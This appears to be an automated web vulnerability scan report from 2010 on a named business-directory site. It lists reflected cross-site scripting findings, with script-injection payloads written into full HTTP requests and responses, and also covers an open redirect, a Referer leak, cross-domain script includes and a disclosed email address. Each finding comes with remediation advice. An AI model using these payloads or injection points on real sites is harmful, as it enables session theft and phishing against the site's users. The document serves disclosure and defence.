Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
1.1. http://www.pr.com/busdir_results.php [name of an arbitrarily supplied request parameter]next
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.pr.com
Path:
/busdir_results.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7eeb0"><script>alert(1)</script>d427abf2c9b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /busdir_results.php?7eeb0"><script>alert(1)</script>d427abf2c9b=1 HTTP/1.1 Host: www.pr.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.pr.com/press-release/39014 Cookie: PHPSESSID=2tbs1jngsg8e6hp6fnri3t86t4;
Response
HTTP/1.1 200 OK Date: Thu, 18 Nov 2010 00:14:31 GMT Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 PHP/5.2.14 X-Powered-By: PHP/5.2.14 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html Content-Length: 58967
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html> <head> <title>Business Directory - Find Companies - PR.com</title> <base href="http://www.pr.com/images/"> <meta http-equiv="Conte ...[SNIP]... <a href="/busdir_results.php?7eeb0"><script>alert(1)</script>d427abf2c9b=1&page=2"> ...[SNIP]...
The value of the email request parameter is copied into the HTML document as plain text between tags. The payload c4414<script>alert(1)</script>14086430b9d was submitted in the email parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
POST /mail/contact.php HTTP/1.1 Host: www.pr.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.pr.com/contact-us Cookie: PHPSESSID=2tbs1jngsg8e6hp6fnri3t86t4; Content-Type: application/x-www-form-urlencoded Content-Length: 125
HTTP/1.1 200 OK Date: Thu, 18 Nov 2010 00:20:11 GMT Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 PHP/5.2.14 X-Powered-By: PHP/5.2.14 Content-Length: 135 Connection: close Content-Type: text/html
Error sending emailMailer Error: Language string failed to load: from_failedwiener@example.comc4414<script>alert(1)</script>14086430b9d
1.3. http://www.pr.com/products_results.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.pr.com
Path:
/products_results.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6e0c2"><script>alert(1)</script>5a888d7910b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /products_results.php?subcategoryid%255b%255d=114&keyword=555-555-0199@example.com&Submit=Search&filter=products&6e0c2"><script>alert(1)</script>5a888d7910b=1 HTTP/1.1 Host: www.pr.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.pr.com/products-services-search Cookie: PHPSESSID=2tbs1jngsg8e6hp6fnri3t86t4;
Response
HTTP/1.1 200 OK Date: Thu, 18 Nov 2010 00:23:00 GMT Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 PHP/5.2.14 X-Powered-By: PHP/5.2.14 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html Content-Length: 15970
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html> <head> <title>Products - PR.com</title> <base href="http://www.pr.com/images/"> <meta http-equiv="Content-Type" content="text/html ...[SNIP]... <a href="/products_results.php?subcategoryid%5b%5d=114&keyword=555-555-0199%40example.com&Submit=Search&6e0c2"><script>alert(1)</script>5a888d7910b=1"> ...[SNIP]...
The value of the referer request parameter is used to perform an HTTP redirect. The payload http%3a//a397d4d2a1dc2514b/a%3f%252fjobs was submitted in the referer parameter. This caused a redirection to the following URL:
Open redirection vulnerabilities arise when an application incorporates user-controllable data into the target of a redirection in an unsafe way. An attacker can construct a URL within the application which causes a redirection to an arbitrary external domain. This behaviour can be leveraged to facilitate phishing attacks against users of the application. The ability to use an authentic application URL, targetting the correct domain with a valid SSL certificate (if SSL is used) lends credibility to the phishing attack because many users, even if they verify these features, will not notice the subsequent redirection to a different domain.
Issue remediation
If possible, applications should avoid incorporating user-controllable data into redirection targets. In many cases, this behaviour can be avoided in two ways:
Remove the redirection function from the application, and replace links to it with direct links to the relevant target URLs.
Maintain a server-side list of all URLs that are permitted for redirection. Instead of passing the target URL as a parameter to the redirector, pass an index into this list.
If it is considered unavoidable for the redirection function to receive user-controllable input and incorporate this into the redirection target, one of the following measures should be used to minimize the risk of redirection attacks:
The application should use relative URLs in all of its redirects, and the redirection function should strictly validate that the URL received is a relative URL.
The application should use URLs relative to the web root for all of its redirects, and the redirection function should validate that the URL received starts with a slash character. It should then prepend http://yourdomainname.com to the URL before issuing the redirect.
The application should use absolute URLs for all of its redirects, and the redirection function should verify that the user-supplied URL begins with http://yourdomainname.com/ before issuing the redirect.
Request
GET /jb_results.php?companyid=&categoryid=0&keyword=555-555-0199@example.com&state=AL&Submit=Click%2bHere%2bTo%2bSearch&referer=http%3a//a397d4d2a1dc2514b/a%3f%252fjobs&public=&c%255b%255d=1&city=Wienerville HTTP/1.1 Host: www.pr.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.pr.com/jobs Cookie: PHPSESSID=2tbs1jngsg8e6hp6fnri3t86t4;
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
Request
GET /products_results.php?subcategoryid%255b%255d=114&keyword=555-555-0199@example.com&Submit=Search&filter=products HTTP/1.1 Host: www.pr.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.pr.com/products-services-search Cookie: PHPSESSID=2tbs1jngsg8e6hp6fnri3t86t4;
Response
HTTP/1.1 200 OK Date: Thu, 18 Nov 2010 00:13:10 GMT Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 PHP/5.2.14 X-Powered-By: PHP/5.2.14 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html Content-Length: 15698
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html> <head> <title>Products - PR.com</title> <base href="http://www.pr.com/images/"> <meta http-equiv="Content-Type" content="text/html ...[SNIP]... </script> <script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script> ...[SNIP]...
4. Cross-domain script includepreviousnext There are 4 instances of this issue:
When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.
If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.
Issue remediation
Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.
GET /busdir_results.php HTTP/1.1 Host: www.pr.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.pr.com/press-release/39014 Cookie: PHPSESSID=2tbs1jngsg8e6hp6fnri3t86t4;
Response
HTTP/1.1 200 OK Date: Thu, 18 Nov 2010 00:13:06 GMT Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 PHP/5.2.14 X-Powered-By: PHP/5.2.14 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html Content-Length: 58327
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html> <head> <title>Business Directory - Find Companies - PR.com</title> <base href="http://www.pr.com/images/"> <meta http-equiv="Conte ...[SNIP]... </script> <script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script> ...[SNIP]...
GET /company-profile/press-releases/24299 HTTP/1.1 Host: www.pr.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.pr.com/press-release/39014 Cookie: PHPSESSID=2tbs1jngsg8e6hp6fnri3t86t4;
Response
HTTP/1.1 200 OK Date: Thu, 18 Nov 2010 00:12:59 GMT Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 PHP/5.2.14 X-Powered-By: PHP/5.2.14 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html Content-Length: 14036
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html> <head> <title>NextDay Network, Inc. Press Releases - PR.com</title> <base href="http://www.pr.com/images/"> <meta http-equiv="Cont ...[SNIP]... </script> <script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script> ...[SNIP]...
GET /press-release/39014 HTTP/1.1 Host: www.pr.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; CloudScan Vuln Crawler http://cloudscan.me) Connection: close Referer: http://www.bing.com/search?q=resellerbase.com&src=IE-SearchBox&Form=IE8SRC
GET /products_results.php?subcategoryid%255b%255d=114&keyword=555-555-0199@example.com&Submit=Search&filter=products HTTP/1.1 Host: www.pr.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.pr.com/products-services-search Cookie: PHPSESSID=2tbs1jngsg8e6hp6fnri3t86t4;
Response
HTTP/1.1 200 OK Date: Thu, 18 Nov 2010 00:13:10 GMT Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 PHP/5.2.14 X-Powered-By: PHP/5.2.14 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html Content-Length: 15698
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html> <head> <title>Products - PR.com</title> <base href="http://www.pr.com/images/"> <meta http-equiv="Content-Type" content="text/html ...[SNIP]... </script> <script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script> ...[SNIP]...
The following email address was disclosed in the response:
Jill.Campbell@multisupport.com
Issue background
The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.
However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.
Issue remediation
You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).
Request
GET /press-release/39014 HTTP/1.1 Host: www.pr.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; CloudScan Vuln Crawler http://cloudscan.me) Connection: close Referer: http://www.bing.com/search?q=resellerbase.com&src=IE-SearchBox&Form=IE8SRC
The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.
The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.
Issue remediation
The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.
Request
GET /robots.txt HTTP/1.1 Host: www.pr.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; CloudScan Vuln Crawler http://cloudscan.me) Connection: close
Response
HTTP/1.1 200 OK Date: Thu, 18 Nov 2010 00:12:17 GMT Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 PHP/5.2.14 Last-Modified: Sun, 24 Oct 2010 07:41:53 GMT ETag: "1a2856f-5e-49358025e9240" Accept-Ranges: bytes Content-Length: 94 Connection: close Content-Type: text/plain
User-agent: * Disallow: /web.php Disallow: /mail
User-Agent: OmniExplorer_Bot Crawl-delay: 5
Report generated by XSS.CX at Thu Nov 18 07:13:09 EST 2010.